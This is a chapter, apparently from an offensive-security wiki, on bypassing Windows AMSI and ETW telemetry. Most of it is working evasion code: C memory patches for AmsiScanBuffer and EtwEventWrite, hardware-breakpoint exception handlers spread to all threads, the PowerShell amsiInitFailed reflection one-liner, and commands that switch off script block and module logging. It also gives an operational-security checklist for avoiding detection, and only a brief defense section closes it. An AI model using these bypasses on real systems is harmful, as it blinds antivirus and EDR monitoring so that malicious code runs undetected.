Chapter 07

Chapter 7: AMSI & ETW Bypass

Even after bypassing EDR hooks in ntdll.dll, two powerful telemetry sources remain: AMSI (Antimalware Scan Interface) and ETW (Event Tracing for Windows). AMSI allows security products to inspect scripts and code before execution, while ETW provides system-wide event logging that captures security-relevant activities. These mechanisms operate independently of userland hooks, making them critical targets for comprehensive evasion.

This chapter examines how AMSI and ETW work, why they're effective, and the techniques used to bypass them—from memory patching to hardware breakpoints.


Understanding AMSI

The AMSI Architecture

When PowerShell executes a script, or when .NET code compiles dynamically, or when JavaScript runs in a browser—how does Windows Defender know what's happening? The answer is AMSI, a standardized interface that allows applications to request malware scans from registered security providers.

┌─────────────────────────────────────────────────────────────────────────┐
│                         AMSI ARCHITECTURE                                │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                          │
│  Scripting Engines / Applications                                        │
│  ┌─────────┐  ┌─────────┐  ┌─────────┐  ┌─────────┐                    │
│  │PowerShell│  │ VBScript│  │   JIT   │  │ Custom │                    │
│  │(WSH)    │  │(WSH)    │  │ (.NET)  │  │  Apps  │                    │
│  └────┬────┘  └────┬────┘  └────┬────┘  └────┬────┘                    │
│       │            │            │            │                          │
│       └──────────┬─┴────────────┴────────────┘                          │
│                  │                                                       │
│                  ▼                                                       │
│  ┌──────────────────────────────────────────────────────────────────┐  │
│  │                    amsi.dll (AMSI Interface)                      │  │
│  │  ┌────────────────────────────────────────────────────────────┐  │  │
│  │  │  AmsiInitialize()   - Initialize AMSI context              │  │  │
│  │  │  AmsiScanBuffer()   - Scan arbitrary buffer                │  │  │
│  │  │  AmsiScanString()   - Scan string content                  │  │  │
│  │  │  AmsiOpenSession()  - Open scan session                    │  │  │
│  │  │  AmsiCloseSession() - Close scan session                   │  │  │
│  │  └────────────────────────────────────────────────────────────┘  │  │
│  └──────────────────────────────────────────────────────────────────┘  │
│                  │                                                       │
│                  ▼                                                       │
│  ┌──────────────────────────────────────────────────────────────────┐  │
│  │               Antimalware Provider (EDR/AV)                       │  │
│  │  - Windows Defender (mpengine.dll)                               │  │
│  │  - Third-party AV/EDR                                             │  │
│  └──────────────────────────────────────────────────────────────────┘  │
│                                                                          │
└─────────────────────────────────────────────────────────────────────────┘

The key functions are AmsiScanBuffer and AmsiScanString. Before executing a script, PowerShell calls these functions with the script content. The registered antimalware provider (typically Windows Defender) analyzes the content and returns a verdict: clean, suspicious, or malicious. If malicious, execution is blocked.

AMSI is particularly effective against fileless attacks because it sees the deobfuscated, final form of scripts—after all encoding, concatenation, and runtime assembly has been resolved.


AMSI Bypass Techniques

Memory Patching

The most direct AMSI bypass modifies AmsiScanBuffer in memory so it returns "clean" without actually scanning. This works because amsi.dll is loaded into the attacker's process, where they have full control over memory:

// Patch AmsiScanBuffer to return AMSI_RESULT_CLEAN

BOOL PatchAmsiScanBuffer(void) {
    HMODULE hAmsi = LoadLibraryA("amsi.dll");
    if (!hAmsi) return FALSE;

    PVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
    if (!pAmsiScanBuffer) return FALSE;

    // Patch bytes: xor eax, eax; ret
    // Returns 0 (S_OK) immediately
    BYTE patch[] = { 0x31, 0xC0, 0xC3 };  // xor eax, eax; ret

    DWORD oldProtect;
    VirtualProtect(pAmsiScanBuffer, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(pAmsiScanBuffer, patch, sizeof(patch));
    VirtualProtect(pAmsiScanBuffer, sizeof(patch), oldProtect, &oldProtect);

    return TRUE;
}

The patch replaces the function's prologue with instructions that immediately return success, skipping all scanning logic.

Alternative Patch - Force Clean Result:

// Patch to always set result to AMSI_RESULT_CLEAN (0)
// mov dword ptr [r8], 0; xor eax, eax; ret
BYTE patch[] = {
    0x41, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00,  // mov dword ptr [r8], 0
    0x31, 0xC0,                                  // xor eax, eax
    0xC3                                         // ret
};

This version explicitly sets the result parameter to AMSI_RESULT_CLEAN before returning, ensuring the caller sees a clean verdict.

The amsiInitFailed Flag

Rather than patching code, another approach corrupts the AMSI context data to indicate initialization failure. When AMSI thinks initialization failed, it skips all scanning:

// Force amsiInitFailed = TRUE in AMSI context
BOOL CorruptAmsiContext(void) {
    HMODULE hAmsi = LoadLibraryA("amsi.dll");
    PVOID pContext = GetAmsiContext();  // Implementation specific

    // Set amsiInitFailed flag
    // Offset varies by version
    *(BOOL*)((PBYTE)pContext + AMSI_CONTEXT_FAILED_OFFSET) = TRUE;

    return TRUE;
}

This technique is popular in PowerShell because the context is accessible via reflection:

# Reflection-based amsiInitFailed corruption
$ref = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $ref.GetField('amsiInitFailed','NonPublic,Static')
$field.SetValue($null,$true)

Hardware Breakpoint AMSI Bypass

Memory patching modifies code, which integrity-checking EDRs can detect. Hardware breakpoints provide a stealthier alternative—they intercept execution without modifying any bytes.

The technique works by:

  1. Setting a hardware breakpoint on AmsiScanBuffer
  2. Registering a Vectored Exception Handler (VEH)
  3. When the breakpoint triggers, the VEH modifies return values and skips the function
// Hardware Breakpoint AMSI Bypass
// Uses DR2/DR3 for AmsiScanBuffer/AmsiScanString

LONG WINAPI AmsiHwbpHandler(PEXCEPTION_POINTERS pExceptionInfo) {
    if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
        PVOID pAddr = pExceptionInfo->ExceptionRecord->ExceptionAddress;

        // Check if we hit AmsiScanBuffer
        if (pAddr == g_pAmsiScanBuffer) {
            // Set return value to S_OK
            pExceptionInfo->ContextRecord->Rax = S_OK;

            // Set result parameter to AMSI_RESULT_CLEAN
            // r8 = pResult in x64 calling convention
            *(DWORD*)(pExceptionInfo->ContextRecord->R8) = AMSI_RESULT_CLEAN;

            // Skip function by adjusting RIP to return address
            pExceptionInfo->ContextRecord->Rip = *(ULONG_PTR*)pExceptionInfo->ContextRecord->Rsp;
            pExceptionInfo->ContextRecord->Rsp += 8;

            return EXCEPTION_CONTINUE_EXECUTION;
        }

        // Check if we hit AmsiScanString
        if (pAddr == g_pAmsiScanString) {
            // Same handling as AmsiScanBuffer
            pExceptionInfo->ContextRecord->Rax = S_OK;
            *(DWORD*)(pExceptionInfo->ContextRecord->R8) = AMSI_RESULT_CLEAN;
            pExceptionInfo->ContextRecord->Rip = *(ULONG_PTR*)pExceptionInfo->ContextRecord->Rsp;
            pExceptionInfo->ContextRecord->Rsp += 8;

            return EXCEPTION_CONTINUE_EXECUTION;
        }
    }

    return EXCEPTION_CONTINUE_SEARCH;
}

BOOL SetupAmsiHwbp(void) {
    // Get function addresses
    HMODULE hAmsi = LoadLibraryA("amsi.dll");
    g_pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
    g_pAmsiScanString = GetProcAddress(hAmsi, "AmsiScanString");

    // Register VEH
    AddVectoredExceptionHandler(1, AmsiHwbpHandler);

    // Set hardware breakpoints
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
    GetThreadContext(GetCurrentThread(), &ctx);

    // DR2 = AmsiScanBuffer
    ctx.Dr2 = (ULONG_PTR)g_pAmsiScanBuffer;
    // DR3 = AmsiScanString
    ctx.Dr3 = (ULONG_PTR)g_pAmsiScanString;

    // Enable DR2 and DR3 (local, execute)
    ctx.Dr7 = (ctx.Dr7 & ~0xF0000) | 0x55;  // Enable DR2, DR3 for execution

    SetThreadContext(GetCurrentThread(), &ctx);

    // Propagate to all threads
    PropagateHwbpToAllThreads(&ctx);

    return TRUE;
}

Hardware breakpoints are limited to four (DR0-DR3), but this is enough for most bypass scenarios.

CLR AMSI Bypass

For .NET applications, AMSI integration happens at the CLR level. Bypasses target the CLR's internal AMSI interface:

// Reflection to access internal CLR AMSI interface
var type = typeof(System.Management.Automation.AmsiUtils);
var field = type.GetField("amsiContext", BindingFlags.NonPublic | BindingFlags.Static);
var ctx = field.GetValue(null);

// Corrupt context to bypass scanning
// Implementation varies by .NET version

Understanding ETW

The ETW Architecture

Event Tracing for Windows is the operating system's unified logging infrastructure. Every major Windows component—the kernel, CLR, PowerShell, networking stack—can emit events through ETW. Security products consume these events to detect malicious activity.

┌─────────────────────────────────────────────────────────────────────────┐
│                         ETW ARCHITECTURE                                 │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                          │
│  ┌───────────────────────────────────────────────────────────────────┐ │
│  │                         PROVIDERS                                  │ │
│  │  ┌─────────────┐  ┌─────────────┐  ┌─────────────┐               │ │
│  │  │ .NET CLR    │  │ PowerShell  │  │ Security    │  ...          │ │
│  │  │ Provider    │  │ Provider    │  │ Auditing    │               │ │
│  │  └──────┬──────┘  └──────┬──────┘  └──────┬──────┘               │ │
│  └─────────┼────────────────┼────────────────┼───────────────────────┘ │
│            │                │                │                          │
│            └────────────────┼────────────────┘                          │
│                             │                                            │
│                             ▼                                            │
│  ┌───────────────────────────────────────────────────────────────────┐ │
│  │                    ETW INFRASTRUCTURE                              │ │
│  │                                                                    │ │
│  │  ntdll.dll:                      ntoskrnl.exe:                    │ │
│  │  - EtwEventWrite                 - NtTraceEvent                   │ │
│  │  - EtwEventWriteFull             - Kernel ETW routing             │ │
│  │  - EtwEventWriteEx               - ETW buffers                    │ │
│  │  - EtwEventWriteTransfer                                          │ │
│  │                                                                    │ │
│  └───────────────────────────────────────────────────────────────────┘ │
│                             │                                            │
│                             ▼                                            │
│  ┌───────────────────────────────────────────────────────────────────┐ │
│  │                        CONSUMERS                                   │ │
│  │  ┌─────────────┐  ┌─────────────┐  ┌─────────────┐               │ │
│  │  │ Event Log   │  │   EDR/AV    │  │ Performance │               │ │
│  │  │  Service    │  │  Consumers  │  │   Monitor   │               │ │
│  │  └─────────────┘  └─────────────┘  └─────────────┘               │ │
│  └───────────────────────────────────────────────────────────────────┘ │
│                                                                          │
└─────────────────────────────────────────────────────────────────────────┘

Unlike AMSI which inspects content, ETW logs activities: script blocks executed, assemblies loaded, network connections made. This behavioral telemetry is invaluable for detecting attacks that evade signature-based detection.

The core ETW functions in ntdll.dll are:


ETW Bypass Techniques

EtwEventWrite Patching

The simplest ETW bypass patches the logging functions to return immediately without logging anything:

// Patch EtwEventWrite to return immediately
BOOL PatchEtwEventWrite(void) {
    PVOID pEtwEventWrite = GetProcAddress(
        GetModuleHandleA("ntdll.dll"),
        "EtwEventWrite"
    );

    // ret (0xC3) - immediate return
    BYTE patch[] = { 0xC3 };

    DWORD oldProtect;
    VirtualProtect(pEtwEventWrite, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(pEtwEventWrite, patch, sizeof(patch));
    VirtualProtect(pEtwEventWrite, sizeof(patch), oldProtect, &oldProtect);

    return TRUE;
}

For comprehensive coverage, patch all ETW functions:

BOOL PatchAllEtwFunctions(void) {
    LPCSTR functions[] = {
        "EtwEventWrite",
        "EtwEventWriteFull",
        "EtwEventWriteEx",
        "EtwEventWriteTransfer",
        "NtTraceEvent"  // Also patch syscall wrapper
    };

    BYTE patch[] = { 0xC3 };

    for (int i = 0; i < ARRAYSIZE(functions); i++) {
        PVOID pFunc = GetProcAddress(GetModuleHandleA("ntdll.dll"), functions[i]);
        if (pFunc) {
            DWORD oldProtect;
            VirtualProtect(pFunc, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
            *(PBYTE)pFunc = 0xC3;
            VirtualProtect(pFunc, 1, oldProtect, &oldProtect);
        }
    }

    return TRUE;
}

Hardware Breakpoint ETW Bypass

Like AMSI, ETW can be bypassed with hardware breakpoints for stealthier evasion:

// HWBP ETW Bypass - No memory patching
PVOID g_pEtwEventWrite = NULL;
PVOID g_pNtTraceEvent = NULL;
PVOID g_pEtwEventWriteFull = NULL;
PVOID g_pEtwEventWriteEx = NULL;

LONG WINAPI EtwHwbpHandler(PEXCEPTION_POINTERS pExceptionInfo) {
    if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
        PVOID pAddr = pExceptionInfo->ExceptionRecord->ExceptionAddress;

        // Check each ETW function
        if (pAddr == g_pEtwEventWrite ||
            pAddr == g_pNtTraceEvent ||
            pAddr == g_pEtwEventWriteFull ||
            pAddr == g_pEtwEventWriteEx) {

            // Return STATUS_SUCCESS without executing function
            pExceptionInfo->ContextRecord->Rax = 0;  // STATUS_SUCCESS

            // Skip function - set RIP to return address
            pExceptionInfo->ContextRecord->Rip =
                *(ULONG_PTR*)pExceptionInfo->ContextRecord->Rsp;
            pExceptionInfo->ContextRecord->Rsp += 8;

            return EXCEPTION_CONTINUE_EXECUTION;
        }
    }

    return EXCEPTION_CONTINUE_SEARCH;
}

BOOL SetupEtwHwbp(void) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");

    g_pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
    g_pNtTraceEvent = GetProcAddress(hNtdll, "NtTraceEvent");
    g_pEtwEventWriteFull = GetProcAddress(hNtdll, "EtwEventWriteFull");
    g_pEtwEventWriteEx = GetProcAddress(hNtdll, "EtwEventWriteEx");

    // Register VEH first in chain
    AddVectoredExceptionHandler(1, EtwHwbpHandler);

    // Set hardware breakpoints (DR0-DR3)
    CONTEXT ctx = { 0 };
    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
    GetThreadContext(GetCurrentThread(), &ctx);

    ctx.Dr0 = (ULONG_PTR)g_pEtwEventWrite;
    ctx.Dr1 = (ULONG_PTR)g_pNtTraceEvent;
    ctx.Dr2 = (ULONG_PTR)g_pEtwEventWriteFull;
    ctx.Dr3 = (ULONG_PTR)g_pEtwEventWriteEx;

    // Enable all 4 debug registers for execution breakpoints
    // DR7: Bits 0,2,4,6 = local enable for DR0-3
    ctx.Dr7 = (1 << 0) | (1 << 2) | (1 << 4) | (1 << 6);

    SetThreadContext(GetCurrentThread(), &ctx);

    return TRUE;
}

Provider Manipulation

Rather than patching functions, you can disable specific ETW providers by manipulating their registration:

// Null the provider registration handle
BOOL DisableEtwProvider(LPCWSTR lpProviderGuid) {
    // Provider handles stored in ntdll
    // Finding and nulling the registration disables logging

    // Implementation requires:
    // 1. Parse ntdll to find EtwpProviderTable
    // 2. Find entry matching provider GUID
    // 3. Null the handle or corrupt state

    return TRUE;
}

Trace Session Control

ETW events flow through trace sessions. Stopping these sessions silences logging:

// Stop ETW trace sessions
BOOL StopEtwSessions(void) {
    EVENT_TRACE_PROPERTIES props = { 0 };
    props.Wnode.BufferSize = sizeof(EVENT_TRACE_PROPERTIES) + 1024;

    // Stop known trace sessions
    // NT Kernel Logger, Security, etc.
    ControlTraceW(0, L"NT Kernel Logger", &props, EVENT_TRACE_CONTROL_STOP);

    return TRUE;
}

This approach requires elevated privileges and may be detected by session health monitoring.


Combined AMSI + ETW Bypass

Unified Hardware Breakpoint Handler

Since hardware breakpoints are limited to four, an efficient approach handles both AMSI and ETW in a single handler:

// Single VEH handler for both AMSI and ETW
typedef struct _HWBP_TARGETS {
    PVOID AmsiScanBuffer;
    PVOID AmsiScanString;
    PVOID EtwEventWrite;
    PVOID NtTraceEvent;
} HWBP_TARGETS;

static HWBP_TARGETS g_Targets;

LONG WINAPI UnifiedHwbpHandler(PEXCEPTION_POINTERS pExceptionInfo) {
    if (pExceptionInfo->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP) {
        return EXCEPTION_CONTINUE_SEARCH;
    }

    PVOID pAddr = pExceptionInfo->ExceptionRecord->ExceptionAddress;
    PCONTEXT ctx = pExceptionInfo->ContextRecord;

    // AMSI bypass
    if (pAddr == g_Targets.AmsiScanBuffer || pAddr == g_Targets.AmsiScanString) {
        ctx->Rax = S_OK;
        if (ctx->R8) {
            *(DWORD*)ctx->R8 = 0;  // AMSI_RESULT_CLEAN
        }
        ctx->Rip = *(ULONG_PTR*)ctx->Rsp;
        ctx->Rsp += 8;
        return EXCEPTION_CONTINUE_EXECUTION;
    }

    // ETW bypass
    if (pAddr == g_Targets.EtwEventWrite || pAddr == g_Targets.NtTraceEvent) {
        ctx->Rax = 0;  // STATUS_SUCCESS
        ctx->Rip = *(ULONG_PTR*)ctx->Rsp;
        ctx->Rsp += 8;
        return EXCEPTION_CONTINUE_EXECUTION;
    }

    return EXCEPTION_CONTINUE_SEARCH;
}

BOOL InitializeUnifiedBypass(void) {
    HMODULE hAmsi = LoadLibraryA("amsi.dll");
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");

    g_Targets.AmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
    g_Targets.AmsiScanString = GetProcAddress(hAmsi, "AmsiScanString");
    g_Targets.EtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
    g_Targets.NtTraceEvent = GetProcAddress(hNtdll, "NtTraceEvent");

    // Register handler
    AddVectoredExceptionHandler(1, UnifiedHwbpHandler);

    // Set debug registers
    CONTEXT ctx = { 0 };
    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
    GetThreadContext(GetCurrentThread(), &ctx);

    ctx.Dr0 = (ULONG_PTR)g_Targets.AmsiScanBuffer;
    ctx.Dr1 = (ULONG_PTR)g_Targets.AmsiScanString;
    ctx.Dr2 = (ULONG_PTR)g_Targets.EtwEventWrite;
    ctx.Dr3 = (ULONG_PTR)g_Targets.NtTraceEvent;
    ctx.Dr7 = 0x55;  // Enable DR0-3 for execution

    SetThreadContext(GetCurrentThread(), &ctx);

    return TRUE;
}

Thread Propagation

Hardware breakpoints are per-thread. For comprehensive bypass, propagate settings to all threads:

BOOL PropagateToAllThreads(void) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 te = { .dwSize = sizeof(THREADENTRY32) };

    DWORD dwCurrentPid = GetCurrentProcessId();
    DWORD dwCurrentTid = GetCurrentThreadId();

    if (Thread32First(hSnapshot, &te)) {
        do {
            if (te.th32OwnerProcessID == dwCurrentPid &&
                te.th32ThreadID != dwCurrentTid) {

                HANDLE hThread = OpenThread(
                    THREAD_SET_CONTEXT | THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME,
                    FALSE,
                    te.th32ThreadID
                );

                if (hThread) {
                    SuspendThread(hThread);

                    CONTEXT ctx = { 0 };
                    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
                    GetThreadContext(hThread, &ctx);

                    // Copy debug register settings
                    ctx.Dr0 = (ULONG_PTR)g_Targets.AmsiScanBuffer;
                    ctx.Dr1 = (ULONG_PTR)g_Targets.AmsiScanString;
                    ctx.Dr2 = (ULONG_PTR)g_Targets.EtwEventWrite;
                    ctx.Dr3 = (ULONG_PTR)g_Targets.NtTraceEvent;
                    ctx.Dr7 = 0x55;

                    SetThreadContext(hThread, &ctx);
                    ResumeThread(hThread);
                    CloseHandle(hThread);
                }
            }
        } while (Thread32Next(hSnapshot, &te));
    }

    CloseHandle(hSnapshot);
    return TRUE;
}

PowerShell Specific Bypasses

Script Block Logging Bypass

PowerShell's Script Block Logging records every command executed. Disabling it via reflection:

# Disable Script Block Logging via reflection
$settings = [Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','NonPublic,Static')
$gp = $settings.GetValue($null)
$gp['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0
$gp['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0

Module Logging Bypass

Module Logging records which PowerShell modules are loaded:

# Disable Module Logging
$settings = [Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','NonPublic,Static')
$gp = $settings.GetValue($null)
$gp['ModuleLogging']['EnableModuleLogging'] = 0

Constrained Language Mode Bypass

PowerShell Constrained Language Mode restricts what scripts can do. Bypassing it typically requires compiling code:

# Check language mode
$ExecutionContext.SessionState.LanguageMode

# Bypass via Add-Type
$code = @"
using System;
public class Bypass {
    public static void Execute() {
        // Full language mode in compiled code
    }
}
"@
Add-Type -TypeDefinition $code
[Bypass]::Execute()

Detection and Defense Considerations

Bypass Detection Methods

Understanding how these bypasses are detected helps in selecting the right technique:

Bypass Type Detection Method
Memory Patching Memory integrity checks
HWBP DR7 monitoring, exception analysis
Provider Manipulation ETW health monitoring
Reflection .NET ETW providers

Memory patching is the easiest to detect—EDRs can periodically verify that critical functions haven't been modified. Hardware breakpoints are stealthier because they don't modify code, but EDRs can monitor debug register values.

Stealth Considerations

For operational security:

[ ] Use HWBP over patching when possible
[ ] Patch only after checking for integrity monitoring
[ ] Restore patches after use
[ ] Minimize time with bypasses active
[ ] Use timing randomization
[ ] Monitor for detection of bypass itself

Defense Recommendations

AMSI Hardening

For defenders, strengthening AMSI effectiveness:

  1. Monitor for AMSI DLL loading failures
  2. Validate AMSI integrity at runtime
  3. Use multiple AMSI providers
  4. Monitor for exception patterns indicative of HWBP
  5. Log AMSI initialization events

ETW Protection

Protecting ETW telemetry:

  1. Use kernel ETW (ETW-TI) for critical events—harder to bypass from userland
  2. Monitor for provider unregistration
  3. Validate trace session health
  4. Use multiple log destinations
  5. Implement tamper detection

The key insight is that userland bypasses cannot affect kernel-mode ETW-TI (covered in Chapter 3). Critical telemetry should flow through kernel mechanisms when possible.


Summary

Technique Type Detection Risk Stealth
AmsiScanBuffer Patch Memory High Low
amsiInitFailed Data Medium Medium
AMSI HWBP Hardware Low High
EtwEventWrite Patch Memory High Low
ETW HWBP Hardware Low High
Provider Nulling Data Medium Medium

Both AMSI and ETW are powerful telemetry sources, but both can be bypassed from userland. The cat-and-mouse game continues, with defenders implementing integrity checks and attackers finding new bypass techniques.

For comprehensive evasion, combine these bypasses with the syscall and unhooking techniques from Chapter 6. For comprehensive defense, rely on kernel-mode telemetry and behavioral analysis that can't be disabled from userland.


References

← Back to Wiki